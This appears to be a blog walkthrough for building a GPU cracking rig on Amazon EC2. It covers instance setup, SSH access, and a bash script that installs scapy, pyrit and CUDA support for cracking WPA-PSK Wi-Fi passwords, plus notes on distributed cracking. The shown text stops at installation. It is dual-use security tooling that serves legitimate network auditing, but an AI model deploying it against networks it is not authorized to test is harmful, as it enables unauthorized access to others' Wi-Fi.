Using Amazon EC2 GPU and pyrit to Crack WPA-PSKs (Detailed)

So there are a couple walk throughs online for using the Amazon EC2 Cluster with pyrit to crack WPA-PSKs, but I couldn't find one that was particularly detailed, and still had to do some tweaks to get everything working, so I figured I'd blog about it.

1. Create an account: First things first, sign up and create and account. You can use your normal Amazon account, but it'll require special info for AWS. They'll ask for you credit card information and phone number which will be used for verification.

2. Create an Instance: Once you've created the account goto the AWS Management Console and then the Amazon EC2 tab. On the left within the Navigation bar will be "EC2 Dashboard", go there and click the "Launch Instance" button under getting started on the right.
  • 2a. AMI: At the time of this writing the most applicable AMI is "Cluster Instances Amazon Linux AMI 2011.02.1 (AMI Id: ami-321eed5b)" . That should be under the "Quick Start" tab. Hit the select button next to it.
  • 2b. Instance Type: For GPU cracking, you'll need to select the Instance type of "Cluster GPU (cg1.4xlarge)" from the drop down. Once selected, Click the continue button. You can click the continue button again on the next page ("Advanced Instance Properties").
  • 2c. Tags: The most basic tag is the Name and the tag is already created for you. Give it a name of something useful by putting something in the Value column in the Name row. Click the continue button.
  • 2d. Key Pair: The keypair will be used for your SSH session into the box. If you've already created a keypair for a previously created instance you can reuse it. Otherwise create a new one. Just name it something useful (doesnt have to be instance specific). Click "Create & Download your Key Pair". It'll prompt you to download your .pem file. Do it and then the wizard will redirect you to the next screen (Security Groups). Take the default value and click "Continue". At this point it may ask you to create firewall rules if you havent already. The default option is good enough for this set up which will allow SSH inbound.

3. Connect to your Instance: After your instance is created, head on over to "Instances" on the left navigation bar under the Amazon EC2 tab. Select your newly created instance under the "My Instances" section, and within the lower pane, scroll down to get the "Public DNS" name. This is what you'll use as the hostname to connect to.
  • 3a. Preparing the SSH key and connecting (Linux): if you're using Linux things a pretty straight forward:

    root@bt:~# chmod 400 key.pem
    root@bt:~# ssh -i key.pem ec2-user@blah.compute-1.amazonaws.com
  • 3b. Preparing the SSH key and connecting (Windows): if you're using Windows with putty, you'll have to format the key to use it. Use puttygen.

  1. Import the key (File - Load Private Key, View all files, then select your key.pem). You'll get a success message on import.
  2. If you want to set a passphrase on it, set one with the "Key passphrase" and "Confirm passphrase" fields
  3. Click the "Save Private Key" button. it'll prompt you if you didnt set a passphrase (you dont have to, click "Yes" at this warning if you didnt).
  4. Define a save location and name. We'll use "key.ppk" for our example.
And to connect:
  1. Now open up putty, set your hostname in the hostname field.
  2. Expand "SSH" in the Category pane on the left then goto "Auth".
  3. Click browse, select your "key.ppk" and click "Open" in the browse window, and then again in the putty window to connect to the instance.
  4. When prompted enter username: ec2-user
4. Download and install everything: I originally saw this script but things didnt work out entirely well. I changed it around to work best on my instance for my purposes:

[ec2-user@aws ~]$ cat setup_aws_gpu.sh
#!/bin/bash

# Pyrit Install (Amazon GPU Instance)
# originally from http://borrellstudios.com/2011/06/pyrit-on-amazon-ec2/
# modified by brad a


echo "[+] Installing packages"
# added a couple more packages to support crunch
sudo yum -qy install subversion python-devel openssl-devel zlib-devel libpcap-devel glibc-devel gcc

echo "[+] Fetching Scapy"
wget http://www.secdev.org/projects/scapy/files/scapy-latest.zip

echo "[+] Unziping Scapy"
unzip scapy-latest.zip -d scapy

echo "[+] Installing Scapy"
cd scapy/*/
sudo python setup.py install
cd ../../

echo "[+] Fetching pyrit"
svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit_svn

echo "[+] Building pyrit"

cd pyrit_svn/pyrit
python setup.py build
echo "[+] Installing pyrit"
sudo python setup.py install

echo "[+] Moving onto cpyrit_cuda"
cd ../cpyrit_cuda
echo "[+] Fixing setup.py"
sed -i -e "s/NVIDIA_INC_DIRS = \[\]/NVIDIA_INC_DIRS = \[\'\/opt\/nvidia\/cuda\/include\'\]/" setup.py

echo "[+] Building cpyrit"
python setup.py build

echo "[+] Installing cpyrit"
sudo python setup.py install

echo "NOTE: FOR DISTERIBUTED PROCESSING:"
echo -e "\tOpen TCP port 17935 on all machines"
echo -e "\tOn the master server, add the IP addresses of the slaves in .pyrit/config"
echo -e "\tSet rpc_server = true on all machines"
echo ""
echo -e "\tStart the slaves with pryit serve"
echo -e "\tRun pryit benchmark on the master server to see if it all works"


So just go ahead and run that script:

[ec2-user@aws ~]$ chmod +x setup_aws_gpu.sh
[ec2-user@aws ~]$ ./setup_aws_gpu.sh


and it should do it all for you. Afterwards test to make sure it worked with:


[ec2-user@aws ~]$ pyrit list_cores